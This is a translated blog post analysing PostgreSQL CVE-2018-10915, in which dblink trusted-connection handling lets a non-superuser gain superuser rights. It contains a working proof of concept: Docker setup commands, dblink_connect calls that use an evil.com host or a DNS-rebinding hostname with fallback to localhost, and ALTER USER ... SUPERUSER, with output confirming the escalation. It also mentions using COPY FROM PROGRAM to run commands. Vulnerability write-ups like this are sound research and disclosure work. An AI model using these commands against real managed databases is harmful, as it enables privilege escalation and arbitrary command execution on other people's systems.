📜 ⬆️ ⬇️

Privilege escalation in PostgreSQL - parsing CVE-2018-10915

KDPV

It is no secret that the state machines are among us. They are literally everywhere, from the UI to the network stack. Sometimes complex, sometimes simple. Sometimes security-related, sometimes not so. But, often, quite exciting to learn :) Today I want to talk about one fun case with PostgreSQL - CVE-2018-10915 , which allowed you to upgrade privileges to superuser.


Small intro


As you know, managed databases step through the world. It is not surprising - if you have a simple, non-demanding application, then why curl with cooking your own base. After all, the majority of cloud (or specialized) providers can click on MySQL / PostgreSQL / MongoDB / etc base and live happily ever after. Of course, this caused additional problems, because If earlier for the operation of most of the security problems in the databases you had to first raskachit attachment (which in itself is game over in most cases), now they bare ass their interface stand to the attacker. There should be a remark about the fact that the next barrier should be a high-quality infrastructure and this is true, but today is not about that.


Essence CVE-2018-10915



# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust 


 // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639 static void dblink_security_check(PGconn *conn, remoteConn *rconn) { if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } } } // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314 int PQconnectionUsedPassword(const PGconn *conn) { if (!conn) return false; if (conn->password_needed) return true; else return false; } 


Thus, if we have any user with access to dblink and PostgreSQL with trusted connections for this host, we can forget the password authentication requirement, connect on behalf of the postgres superuser, and execute anything on his behalf (for example, arbitrary commands using COPY foo FROM PROGRAM 'whoami'; ).


From theory to practice - PostgreSQL 10.4!


But theory alone cannot be full, therefore I have prepared a small example of exploiting this vulnerability. We'll start with PostgreSQL 10.4.



 $ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432? 


 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 


 $ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test 


 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser 


From theory to practice - PostgreSQL 9.6!


With PostgreSQL 9.x, everything is a bit more complicated. it does not support listing hosts to connect. But if the address is resolved in several IPs, it will bypass them all! And since for IPv6 priority addresses (see RFC6724 ), we can do the same thing just by answering our IP with an AAAA request, and 127.0.0.1 for A + dropping connections for a few seconds after sending ERRCODE_APPNAME_UNKNOWN :



 $ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba 


 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 


 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {} 


Conclusion


In conclusion, I wanted to write something clever, but, unfortunately, I do not have a good, simple and universal way to check that everything is fine with your state machine. There are various attempts, but from what I have seen, they are either too narrowly specialized, or they still cope with logical errors. It remains to hope for vigilance and an extra pair of eyes on the review: (



Source: https://habr.com/ru/post/440394/